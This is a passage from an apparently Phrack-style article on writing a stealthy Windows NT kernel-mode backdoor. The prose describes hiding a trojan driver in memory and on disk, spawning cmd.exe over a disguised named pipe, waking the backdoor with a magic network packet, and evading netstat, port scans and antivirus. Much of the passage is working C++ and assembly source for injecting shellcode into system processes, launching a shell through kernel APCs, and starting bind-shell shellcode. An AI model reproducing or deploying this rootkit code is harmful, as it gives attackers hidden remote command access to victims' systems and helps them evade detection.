file, we can replace ANY driver with a trojan that will substitute the
content of the replaced file with the original content to everyone (incl-
uding the kernel). Upon startup, it will copy itself to some allocated
memory area and start a thread there.
This will make the trojan almost unnoticeable in memory: No system
utility can see the driver any more, as it is just an anonymous memory
page amongst many. We do not even need a thread, using intercepted IRP
dispatch functions of some driver (DriverObject->MajorFunction[IRP_MJ_xxx]).
We can also use IoQueueWorkItem and KeInsertQueueDpc, so no additional
threads in SYSTEM will be visible in the task manager. After this is done
the trojan can unload the driver it was started from, and reload it in a
clean (unchanged) variant. As a result, high levels of stealth will be
achieved by relatively simple means. The original content of the manipu-
lated file could for example be stored in the trojan's file after the
trojan itself.
It will then be sufficient to hook all FSD requests (IRP and FastIO)
and upon access change the position (and size of the file).
(CurrentIrpStackLocation->Parameters.*.ByteOffset)
--[ 4 - My variant: The thorny path
----[ 4.1 - Shell
I originally intended to do something similarily simple as standard
user-mode code: Just pass a socket handle for stdin/stdout/stderr to the
newly created cmd.exe process. I did not find a way to open a useful
socket from a driver though, as the interface with the AFD driver (kmode
core of winsock) is undocumented. Reverse-engineering it's usage was not
an option either as due to changes between versions my technique would be
unreliable. I had to find a different way.
First variant
=============
We could start our code in the context of some process, using a shell-
code quite similar to that used in exploits. The code could wait for a TCP
connection and start cmd.exe with redirected I/O.
I chose this way when I tired of trying to start a full-fledged win32
process from a driver. The shellcode is position-independent, searches for
kernel32.dll in memory and loads the winsock library. All that needs to be
done is injecting the shellcode into the address space of a process and
pass control to the entry point of the shellcode. However, in the process
of doing this the normal work of the process must not be interrupted, be-
cause a failure in a critical system process will lead to a failure of the
whole system.
So we need to allocate memory, write shellcode there, and create a
thread with EIP = entry point of the shellcode. Code to do this can be
found in the attached file shell.cpp. Unfortunately, when CreateProcess
is called from the thread started in this way it failed, most probably
because something that CreateProcess relies upon was not initialized pro-
poerly in the context of our thread. We thus need to call CreateProcess
from a thread context which has everything that CreateProcess needs ini-
tialized -- we're going to take a thread which belongs to the process we
are intruding into (I used SetThreadContext for that). One needs to re-
store the state of the thread prior to the interruption so it can contiue
it's normal operation.
So we need to: Save thread context via GetThreadContext, set the EIP
to our context via SetThreadContext, wait for the code to complete, and
then restore the original cont again. The rest is just a usual shellcode
for Windows NT (full code in dummy4.asm).
One unsolved problem remains: If the thread is in waiting state, it
will not run until it wakes up. Using ZwAlertThread does not yield any re-
sult if the thread is in a nonalertable wait state. Fortunately, the
thread in services.exe worked without a problem -- this does not imply it
will stay like this in the future though, so I continued my research:
Second variant
==============
Things are not as easy as [4] makes them sound. Creating a full-
fledged win32-process requires it's registration in the CSRSS subsystem.
This is accomplished by using CsrClientCallServer(), which receives all
necessary information about the process (handles, TID, PID, flags). The
functions calls ZwRequestWaitReplyPort, which receives a handle of a pre-
viously opened port for connection with CSRSS.
This port is not open in the SYSTEM process context. Opening it never
succeeded (ZwConnectPort returned STATUS_PORT_CONNECTION_REFUSED). Play-
ing with SECURITY_QUALITY_OF_SERVICE didn't help. While disassembling
ntdll.dll I saw that ZwConnectPort calls were preceded by ZwCreateSection.
But there was no time and no desire to play with sections. Here is the
code that didn't work:
VOID InformCsrss(HANDLE hProcess,HANDLE hThread,ULONG pid,ULONG tid)
{
CSRMSG csrmsg;
HANDLE hCurProcess;
HANDLE handleIndex;
PVOID p;
_asm int 3;
UNICODE_STRING PortName;
RtlInitUnicodeString(&PortName,L"\\Windows\\ApiPort");
static SECURITY_QUALITY_OF_SERVICE QoS =
{sizeof(QoS), SecurityAnonymous, 0, 0};
/*static SECURITY_QUALITY_OF_SERVICE QoS =
{0x77DC0260,
(_SECURITY_IMPERSONATION_LEVEL)2, 0x120101, 0x10000};*/
DWORD ret=ZwConnectPort(&handleIndex,&PortName,&QoS,NULL,
NULL,NULL,NULL,NULL);
if (!ret) {
RtlZeroMemory(&csrmsg,sizeof(CSRMSG));
csrmsg.ProcessInformation.hProcess=hProcess;
csrmsg.ProcessInformation.hThread=hThread;
csrmsg.ProcessInformation.dwProcessId=pid;
csrmsg.ProcessInformation.dwThreadId=tid;
csrmsg.PortMessage.MessageSize=0x4c;
csrmsg.PortMessage.DataSize=0x34;
csrmsg.CsrssMessage.Opcode=0x10000;
ZwRequestWaitReplyPort(handleIndex,(PORT_MESSAGE*)&csrmsg,
(PORT_MESSAGE*)&csrmsg);
}
}
The solution to the problem was obvious; Switch context to one in
which the port is open, e.g. to the context of any win32-process. I inser-
ted KeAttachProcess(HelperProcess) before calling Nebbet's InformCsrss,
and KeDetachProcess afterwards. The role of the HelperProcess was taken
by calc.exe.
When I tried using KeAttachProcess that way I failed though: The con-
text was switched (visible using the proc command in SoftICE), but Csr-
ClientCallServer returned STATUS_ILLEGAL_FUNCTION. Only Uncle Bill knows
what was happening inside CSRSS.
When trying to frame the whole process creation function into
KeAttachProcess/KeDetachProcess led to the following error when calling
ZwCreateProcess: "Break Due to KeBugCheckEx (Unhandled kernel mode
exception) Error=5 (INVALID_PROCESS_ATTACH_ATTEMPT) ... ".
A different way to execute my code in the context of an arbitrary
process is APC. The APC may be kmode or user-mode. As long as only kmode
APC may overcome nonalertable wait state, all code for process creation
must be done in kernel mode. Nebbet's code normally works at
IRQL == APC_LEVEL
Code execution in the context of a given win32-process by means of APC is
implemented in the StartShell() function, in file ShellAPC.cpp.
Interaction with the process
=============================
Starting a process isn't all. The Backdoor still needs to communicate
with it: It is necessary to redirect it's stdin/stdout/stderr to our
driver. We could do this like most "driver+app"-systems: Create a device
that is visible from user-mode, open it using ZwOpenFile and pass the
handle to the starting process (stdin/stdout/stderr). But a named device
is not stealthy, even if we automatically create a random names. This is
why I have chosen to use named pipes instead.
Windows NT uses named pipes with names like Win32Pipes.%08x.%08x (here
%08x is random 8-digit numbers) for emulation of anonymous pipes. If we
create one more such pipe, nobody will notice. Usually, one uses 2 anon-
ymous pipes r redirecting I/O of a console application in Win32, but when
using a named pipe one will be sufficient as it is bi-directional. The
driver must create a bi-directional named pipe, and cmd.exe must use it's
handle as stdin/stdout/stderr.
The handle can be opened in both kmode and user-mode. The final ver-
sion uses the first variant, but I have also experimented with the second
variant -- being able to implement different variants may help evade anti-
viruses. Starting a process with redirected I/O has been completely imple-
mented in kernel mode in the file NebbetCreateProcess.cpp.
There are two main differences between my and Nebbet's code: The fun-
ctions that are not exported from ntoskrnl.exe but from ntdll, are dyn-
amically imported (see NtdllDynamicLoader.cpp). The handle to the named
pipe is opened with ZwOpenFile() and passed to the starting process with
ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE flag.
For opening the named pipe from user mode I inject code into a start-
ing process. I attached the patch (NebbetCreateProcess.diff) for edu-
cational purposes. It adds a code snippet to a starting process. The
patch writes code (generated by a C++ compiler) to a process's stack. For
independence that code is a function which accepts a pointer to a struc-
ture containing all the necessary data (API addresses etc) as parameter.
This structure and a pointer to it are written to the stack together with
the code of the function itself. ESP of the starting thread is set 4 bytes
bellow the pointer to the parameters of the function, and EIP to it's en-
try point. Once the injected code is done executing, it issues a CALL back
to the original entry point. This example can be modified to be yet
another way of injecting code into a working userland process from kernel
mode.
---[ 4.2 - Activation and communication with the remote client
If a listening socket is permanently open (and visible to netstat -an)
it is likely to be discovered. Even if one hides the socket from netstat
is insufficient as a simple portscan could uncover the port. To remain
stealthy a backdoor must not have any open ports visible locally or re-
motely. It is necessary to use a special packet, which on the one hand
must be unambigously identified by the backdoor as activation signal, yet
at the same time must not be so suspicious as to trigger alerts or be fil-
tered by firewalls. The activation signal could e.g. be a packet contain-
ing a set of packets at any place (header or data) -- all characteristics
of the packet (protocol, port etc) should be ignored. This allows for max-
imum flexibility to avoid aggressive packet filters.
Obviously, we have to implement some sort of sniffer in order to
detect such a special packet. In practice, we have several choices on how
to implement the sniffer:
1) NDIS protocol driver (advantage: possibility not only to receive
packets, but also to send - thus making covert channel for
communication with remote client possible; disadvantage: difficulties
with supporting all types of network devices) - applied in ntrootkit;
2) use service provided by IpFilterDriver on w2k and higher
(advantages: simple implementation and complete independence
from physical layer; disadvantage: receive only);
3) setup filter on 1 of network drivers, through which packets pass
through (see [5]);
4) direct appeal to network drivers by some other means for receive
and send packets (advantage: can do everything; disadvantage:
unexplored area).
I have chosen variant 2 due to it's simplicity and convenience for both
described variants of starting a shell. IpFilterDriver used only for
activation, further connection is made via TCP by means of TDI.
An example of the usage of IpFilterDriver can be seen in Filtering.cpp
and MPFD_main.cpp. InitFiltering() loads the IpFilterDriver if it isn't
yet loaded. Then it calls SetupFiltering, which sets a filter with
IOCTL_PF_SET_EXTENSION_POINTER IOCTL. PacketFilter() is then called on
each IP packet. If a keyword is detected StartShellEvent is set and causes
a shell to be started.
The variant using shellcode in an existing process works with the
network in user-mode, thus we do not need to describe anything in detail.
A Kernel-mode TCP shell is implemented in NtBackd00r.cpp. When cmd.exe
is started from a driver with redirected I/O, the link is maintained by
the driver. I took the tcpecho example as base for the communitcation mod-
ule in order not to waste time coding a TDI-client from scratch.
DriverEntry() initialises TDI, creates a listening socket and an unnamed
device for IoQueueWorkItem.
For each conenction an instance of the Session class is created. In
it's OnConnect handler a sequence of operations for creating a process.
process. As long as this handler is called at IRQL==DISPATCH_LEVEL, it's
impossible to do all necessary operations directly in it. It's even
impossible to start a thread because PsCreateSystemThread must be called
only at PASSIVE_LEVEL according to the DDK. Therefore the OnConnect
handler calls IoAllocateWorkItem and IoQueueWorkItem in order to do any
further operations accomplished in WorkItem handler (ShellStarter
function) at PASSIVE_LEVEL.
ShellStarter calls StartShell() and creates a worker thread
(DataPumpThread) and 2 events for notifying it about arriving packets and
named pipe I/O completion. Interaction between the WorkItem/thread and
Session class was built with taking a possible sudden disconnect and
freeing Session into account: syncronisation is accomplished by disabling
interrupts (it's equivalent of raise IRQL to highest) and by means of
DriverStudio classes (SpinLock inside). The Thread uses a copy of some
data that must be available even after instance of Session was deleted.
Initially, DataPumpThread starts one asynchronous read operation
(ZwReadFile) from named pipe -- event hPipeEvents[1] notifies about it's
completion. The other event hPipeEvents[0] notifies about data arrival
from the network. After that ZwWaitForMultipleObjects executed in a loop
waits for one of these events. In dependence of what event was signaled,
the thread does a read from the named pipe and sends data to client, or
does a read read from FIFO and writes to pipe. If the Terminating flag
is set, thread closes all handles, terminates the cmd.exe process, and
then terminates itself. Data arrival is signaled by the hPipeEvents[0]
event in Session::OnReceive and Session::OnReceiveComplete handlers.
It also used in conjunction with the Terminating flag to notify the thread
about termination.
Data resceived from the network is buffered in pWBytePipe FIFO.
DataPumpThread reads data from the FIFO to temporary buffers which are
allocated for each I/O operation and writes data asynchronously to the
pipe (ZwWriteFile). The buffers are freed asynchronously in the ApcCallback-
WriteComplete handler.
Data transfers from the pipe to the network are also accomplished through
temporary buffers that are allocated before ZwReadFile and freed in
Session::OnSendComplete.
Paths of data streams and temporary buffers handling algorithm:
NamedPipe -(new send_buf; ZwReadFile)-> temporary buffer
send_buf -(send)-> Network -> OnSendComplete{delete send_buf}
Network -(OnReceive)-> pWBytePipe -(new rcv_buf)-> temporary
buffer rcv_buf -(ZwWriteFile)-> NamedPipe ->
ApcCallbackWriteComplete{delete rcv_buf}
In Session::OnReceive handler data is written to the FIFO and the
DataPumpThread is notified about it's arrival. If the transport has more
data available than indicated another buffer is allocated to read the
rest. When the transport is done - asynchronously - OnReceiveComplete()
handler is called, which does the same as OnReceive.
----[ 4.3 - Stealth on disk
I've implemented simple demo module (file Intercept.cpp) which hooks
dispatch functions of a given filesystem diver to hide the first N bytes of
a given file. To hook FSD call e.g. Intercept(L"\\FileSystem\\Fastfat").
There is only 2 FSDs that may be necessary to hook: Fastfat ant Ntfs,
because NT can boot from these filesystems.
Intercept() replaces some driver dispatch functions
(pDriverObject->MajorFunction[...], pDriverObject->FastIoDispatch->...).
When hooked driver handles IRPs and FastIo calls the corresponding hook
functions modifies file size and current file offset. Thus all user-mode
programs see file N bytes smaller than original, containing bytes N to
last. It allows to implement trick described in part 3.
--[ 5 - Conclusion
In this article I compared 3 existing Kernel-Mode backdoors for
Windows NT from a programmers point of view, presented some ideas on making
a backdoor stealthier as well as my thorny path of writing my own Kernel-
Mode backdoor.
What we did not describe was a method of hiding open sockets and TCP
connections from utilities such as netstat and fport. Netstat uses
SnmpUtilOidCpy(), and fport talks directly with drivers
(\Device\Udp and \Device\Tcp). To hide something from these and all
similar tools, it's necessary to hook aforementioned drivers with one of
methods mentioned in section "Stealth on disk, in registry and in
memory". I did not explore that issue yet. Probably, its consideration
deserves a separate article. Advice for those who decided to move this
direction: begin with the study of IpLog sources [5].
--[ 6 - Epilogue
When/if this article will be published in Phrack, the article itself
(probably improved and supplemented), its Russian original, and full code
of all used examples will be published at our site http://www.nteam.ru
--[ 7 - List of used sources
1. http://rootkit.com
2. "LKM-attack on WinNT/Win2k"
http://he4dev.e1.bmstu.ru/He4ProjectRepositary/HookSysCall/
3. "Windows Root Kits a Stealthy Threat"
http://www.securityfocus.com/news/2879
4. Garry Nebbet. Windows NT/2000 native API reference.
5. "IP logger for WinNT/Win2k"
http://195.19.33.68/He4ProjectRepositary/IpLog/
--[ 8 - Files
----[ 8.1 - Shell.CPP
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif
const StackReserve=0x00100000;
const StackCommit= 0x00001000;
extern BOOLEAN Terminating;
extern "C" char shellcode[];
extern "C" const CLID_addr;
extern "C" int const sizeof_shellcode;
namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
NT::UNICODE_STRING ProcessName;
NT::RtlInitUnicodeString(&ProcessName,process);
ULONG n=0xFFFF;
PULONG q =
(PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
while (NT::ZwQuerySystemInformation(
NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0))
{
NT::ExFreePool(q);
n*=2;
q = (PULONG)NT::ExAllocatePool
(NT::NonPagedPool,n*sizeof(*q));
}
ULONG MajorVersion;
NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);
NT::PSYSTEM_PROCESSES p
= NT::PSYSTEM_PROCESSES(q);
BOOL found=0;
char** pp=(char**)&p;
do
{
if ((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString
(&p->ProcessName,&ProcessName,TRUE)))
{
if (MajorVersion<=4)
*ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId;
else *ClientId = p->Threads[0].ClientId;
found=1;
break;
}
if (!(p->NextEntryDelta)) break;
*pp+=p->NextEntryDelta;
} while(1);
NT::ExFreePool(q);
return found;
}
VOID StartShell()
{
//Search ntdll.dll in memory
PVOID pNTDLL=FindNT();
//Dynamicaly link to functions not exported by ntoskrnl,
//but exported by ntdll.dll
DYNAMIC_LOAD(ZwWriteVirtualMemory)
DYNAMIC_LOAD(ZwProtectVirtualMemory)
DYNAMIC_LOAD(ZwResumeThread)
DYNAMIC_LOAD(ZwCreateThread)
HANDLE hProcess=0,hThread;
//Debug breakpoint
dbgbkpt;
NT::CLIENT_ID clid;
//Code must be embedded into thread, which not in nonalertable wait state.
//Such thread is in process services.exe, let's find it
if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt;
return;};
NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
//Open process - get it's descriptor
NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
if (!hProcess) {dbgbkpt;
return;};
/*NT::PROCESS_BASIC_INFORMATION pi;
NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi, sizeof(pi), NULL);*/
ULONG n = sizeof_shellcode;
PVOID p = 0;
PVOID EntryPoint;
//Create code segment - allocate memory into process context
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!p) {dbgbkpt;
return;};
//*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread;
//Write process and thread ID into shellcode, it will be needed for
//further operations with that thread
*((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid;
//Write shellcode to allocated memory
ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0);
//Entry point is at the beginning of shellcode
EntryPoint = p;
//Create stack segment
NT::USER_STACK stack = {0};
n = StackReserve;
NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
MEM_RESERVE, PAGE_READWRITE);
if (!stack.ExpandableStackBottom) {dbgbkpt;
return;};
stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
+ StackReserve;
stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
- StackCommit;
n = StackCommit + PAGE_SIZE;
p = PCHAR(stack.ExpandableStackBase) - n;
//Create guard page
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_READWRITE);
ULONG x; n = PAGE_SIZE;
ZwProtectVirtualMemory(hProcess, &p, &n,
PAGE_READWRITE | PAGE_GUARD, &x);
//Initialize new thread context
//similar to it's initialization by system
NT::CONTEXT context = {CONTEXT_FULL};
context.SegGs = 0;
context.SegFs = 0x38;
context.SegEs = 0x20;
context.SegDs = 0x20;
context.SegSs = 0x20;
context.SegCs = 0x18;
context.EFlags = 0x3000;
context.Esp = ULONG(stack.ExpandableStackBase) - 4;
context.Eip = ULONG(EntryPoint);
NT::CLIENT_ID cid;
//Create and start thread
ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &attr,
hProcess, &cid, &context, &stack, TRUE);
//Here i tried to make thread alertable. The try failed.
/*HANDLE hTargetThread;
NT::ZwOpenThread(&hTargetThread, THREAD_ALL_ACCESS, &attr, &clid);
PVOID ThreadObj;
NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, &ThreadObj, NULL);
*((unsigned char *)ThreadObj+0x4a)=1;*/
ZwResumeThread(hThread, 0);
}
VOID ShellStarter(VOID* StartShellEvent)
{
do if (NT::KeWaitForSingleObject(StartShellEvent,NT::Executive,NT::KernelMode,FALSE,NULL)==STATUS_SUCCESS)
if (Terminating) NT::PsTerminateSystemThread(0); else StartShell();
while (1);
}
----[ 8.2 - ShellAPC.cpp
#include <stdio.h>
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#include "NebbetCreateProcess.h"
//Debug macro
#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif
//Flag guarantees that thread certainly will execute APC regardless of
//it's state
#define SPECIAL_KERNEL_MODE_APC 2
namespace NT
{
extern "C"
{
// Definitions for Windows NT-supplied APC routines.
// These are exported in the import libraries,
// but are not in NTDDK.H
void KeInitializeApc(PKAPC Apc,
PKTHREAD Thread,
CCHAR ApcStateIndex,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ApcMode,
PVOID NormalContext);
void KeInsertQueueApc(PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
UCHAR unknown);
}
}
//Variant of structure SYSTEM_PROCESSES for NT4
namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}
//Function searches process with given name.
//Writes PID and TID of first thread to ClientId
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
NT::UNICODE_STRING ProcessName;
NT::RtlInitUnicodeString(&ProcessName,process);
ULONG n=0xFFFF;
//Allocate some memory
PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
//Request information about processes and threads
//until it will fit in allocated memory.
while (NT::ZwQuerySystemInformation(NT::SystemProcessesAndThreadsInformation,
q, n * sizeof *q, 0))
{
//If it didn't fit - free allocated memory...
NT::ExFreePool(q);
n*=2;
//... and allocate twice bigger
q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
}
ULONG MajorVersion;
//Request OS version
NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);
//Copy pointer to SYSTEM_PROCESSES.
//copy will be modified indirectly
NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q);
//"process NOT found" - yet
BOOL found=0;
//Pointer to p will be used to indirect modify p.
//This trick is needed to force compiler to perform arithmetic operations with p
//in bytes, not in sizeof SYSTEM_PROCESSES units
char** pp=(char**)&p;
//Process search cycle
do
{
//If process have nonzero number of threads (0 threads is abnormal, but possible),
//has name, that matches looked for...
if ((p->ThreadCount)&&(p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString(&p->ProcessName,&ProcessName,TRUE)))
{
//... then copy data about it to variable pointed by ClientId.
//Accounted for different sizeof SYSTEM_PROCESSES in different versions of NT
if (MajorVersion<=4)
*ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId;
else *ClientId = p->Threads[0].ClientId;
//Set flag "process found"
found=1;
//Stop search
break;
}
//No more processes - stop
if (!(p->NextEntryDelta)) break;
//Move to next process
*pp+=p->NextEntryDelta;
} while(1);
//Free memory
NT::ExFreePool(q);
//Return "is the process found" flag
return found;
}
//Generates named pipe name similar to used by API-function CreatePipe
void MakePipeName(NT::PUNICODE_STRING KernelPipeName)
{
//For generation of unrepeating numbers
static unsigned long PipeIdx;
//pseudorandom number
ULONG rnd;
//name template
wchar_t *KPNS = L"\\Device\\NamedPipe\\Win32Pipes.%08x.%08x";
//...and it's length in bytes
ULONG KPNL = wcslen(KPNS)+(8-4)*2+1;
//String buffer: allocated here, freed by caller
wchar_t *buf;
//Request system timer: KeQueryInterruptTime is here not for exact
//counting out time, but for generation of pseudorandom numbers
rnd = (ULONG)NT::KeQueryInterruptTime();
//Allocate memory for string
buf = (wchar_t *)NT::ExAllocatePool(NT::NonPagedPool,(KPNL)*2);
//Generate name: substitute numbers o template
_snwprintf(buf, KPNL, KPNS, PipeIdx++, rnd);
//Write buffer address and string length to KernelPipeName (initialisation)
NT::RtlInitUnicodeString(KernelPipeName, buf);
}
extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess);
extern NTSTATUS BuildAlowingSD(PVOID *sd);
struct APC_PARAMETERS {
NT::UNICODE_STRING KernelPipeName;
ULONG ChildPID;
};
//APC handler, runs in context of given thread
void KMApcCallback1(NT::PKAPC Apc, NT::PKNORMAL_ROUTINE NormalRoutine,
PVOID NormalContext, PVOID SystemArgument1,
PVOID SystemArgument2)
{
UNREFERENCED_PARAMETER(NormalRoutine);
UNREFERENCED_PARAMETER(NormalContext);
dbgbkpt;
//Start process with redirected I/O, SystemArgument1 is named pipe name
(*(APC_PARAMETERS**)SystemArgument1)->ChildPID=execute_piped(L"\\SystemRoot\\System32\\cmd.exe", &((*(APC_PARAMETERS**)SystemArgument1)->KernelPipeName));
//Free memory occupied by APC
NT::ExFreePool(Apc);
//Signal about APC processing completion
NT::KeSetEvent(*(NT::KEVENT**)SystemArgument2, 0, TRUE);
return;
}
//Function starts shell process (cmd.exe) with redirected I/O.
//Returns bidirectional named pipe handle in phPipe
extern "C" ULONG StartShell(PHANDLE phPipe)
{
//_asm int 3;
HANDLE hProcess=0, hThread;
APC_PARAMETERS ApcParameters;
//Event of APC processing completion
NT::KEVENT ApcCompletionEvent;
//dbgbkpt;
NT::CLIENT_ID clid;
//Look for process to launch shell from it's context.
//That process must be always present in system
if(!FindProcess(/*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt;
return FALSE;};
NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
//Get process handle from it's PID
NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
if (!hProcess) {dbgbkpt;
return FALSE;};
//Get thread handle from it's TID
NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid);
NT::PKTHREAD ThreadObj;
//Get pointer to thread object from it's handle
NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, (PVOID*)&ThreadObj, NULL);
NT::PKAPC Apc;
ApcParameters.ChildPID=0;
//Allocate memory for APC
Apc = (NT::KAPC*)NT::ExAllocatePool(NT::NonPagedPool, sizeof(NT::KAPC));
//Initialize APC
dbgbkpt;
NT::KeInitializeApc(Apc,
ThreadObj,
SPECIAL_KERNEL_MODE_APC,
(NT::PKKERNEL_ROUTINE)&KMApcCallback1, // kernel mode routine
0, // rundown routine
0, // user-mode routine
NT::KernelMode,
0 //context
);
//Initialize APC processing completion event
NT::KeInitializeEvent(&ApcCompletionEvent,NT::SynchronizationEvent,FALSE);
//Generate random unique named pipe name
MakePipeName(&ApcParameters.KernelPipeName/*, &UserPipeName*/);
PVOID sd;
//Access will be read-only without it.
//There's a weak place in the view of security.
if (BuildAlowingSD(&sd)) return FALSE;
if (myCreatePipe1(phPipe, &ApcParameters.KernelPipeName, GENERIC_READ | GENERIC_WRITE, sd, FILE_SHARE_READ | FILE_SHARE_WRITE)) return FALSE;
NT::KeInsertQueueApc(Apc, &ApcParameters, &ApcCompletionEvent, 0);
NT::KeWaitForSingleObject(&ApcCompletionEvent,NT::Executive,NT::KernelMode,FALSE,NULL);
NT::RtlFreeUnicodeString(&ApcParameters.KernelPipeName);
NT::ZwClose(hProcess);
NT::ZwClose(hThread);
return ApcParameters.ChildPID;
}
----[ 8.3 - dummy4.asm
;Exported symbols - reference points for automated tool
;which generates C code of hex-encoded string
PUBLIC Start
PUBLIC EndFile
PUBLIC CLID_here
;Debug flag - int 3 in the code
DEBUG EQU 1
;Falg "accept more then 1 connection"
MULTIPLE_CONNECT EQU 1
;Falg "bind to next port, if current port busy"
RETRY_BIND EQU 1
.486 ; processor type
.model flat, stdcall ; model of memory
option casemap: none ; disable case sensivity
; includes for file
include Imghdr.inc
include w32.inc
include WSOCK2.INC
; structure initializing
;-------------------------
sSEH STRUCT
OrgEsp dd ?
SaveEip dd ?
sSEH ENDS
CLIENT_ID STRUCT
UniqueProcess dd ?
UniqueThread dd ?
CLIENT_ID ENDS
OBJECT_ATTRIBUTES STRUCT
Length dd ?
RootDirectory dd ?
ObjectName dd ?
Attributes dd ?
SecurityDescriptor dd ?
SecurityQualityOfService dd ?
OBJECT_ATTRIBUTES ENDS
;-------------------------
.code
;----------------------------------------------
MAX_API_STRING_LENGTH equ 150
ALLOCATION_GRANULARITY EQU 10000H
;----------------------------------------------
new_section:
;Macro replaces lea, correcting address for position independency
laa MACRO reg, operand
lea reg, operand
add reg, FixupDelta
ENDM
;The same, but not uses FixupDelta (autonomous)
laaa MACRO reg, operand
local @@delta
call $+5
@@delta:
sub DWORD PTR [esp], OFFSET @@delta
lea reg, operand
add reg, DWORD PTR [esp]
add esp,4
ENDM
main proc
Start:
IFDEF DEBUG
int 3
ENDIF
;Code for evaluating self address
delta:
pop ebx
sub ebx,OFFSET delta
;Allocate place for variables in stack
enter SizeOfLocals,0
;Save difference between load address and ImageBase
mov FixupDelta,ebx
;Tables, where to write addresses of exported functions
KERNEL32FunctionsTable EQU _CreateThread
NTDLLFunctionsTable EQU _ZwOpenThread
WS2_32FunctionsTable EQU _WSASocket
;Local variables
local flag:DWORD,save_eip:DWORD,_CreateThread:DWORD,_GetThreadContext:DWORD,_SetThreadContext:DWORD,_ExitThread:DWORD,_LoadLibrary:DWORD,_CreateProcessA:DWORD,_Sleep:DWORD,_VirtualFree:DWORD,_ZwOpenThread:DWORD,_ZwAlertThread:DWORD,cxt:CONTEXT,clid:CLIENT_ID,hThread:DWORD,attr:OBJECT_ATTRIBUTES,addr:sockaddr_in,sizeofaddr:DWORD,sock:DWORD,sock2:DWORD,StartInf:STARTUPINFO,ProcInf:PROCESS_INFORMATION,_WSASocket:DWORD,_bind:DWORD,_listen:DWORD,_accept:DWORD,_WSAStartup:DWORD,_closesocket:DWORD,_WSACleanup:DWORD,wsadat:WSAdata,FixupDelta:DWORD =SizeOfLocals
assume fs : nothing
;---- get ImageBase of kernel32.dll ----
lea ebx,KERNEL32FunctionsTable
push ebx
laa ebx,KERNEL32StringTable
push ebx
push 0FFFF0000h
call GetDllBaseAndLoadFunctions
lea ebx,NTDLLFunctionsTable
push ebx
laa ebx,NTDLLStringTable
push ebx
push 0FFFF0000h
call GetDllBaseAndLoadFunctions
laa edi, CLID_here
push edi
assume edi:ptr OBJECT_ATTRIBUTES
lea edi,attr
cld
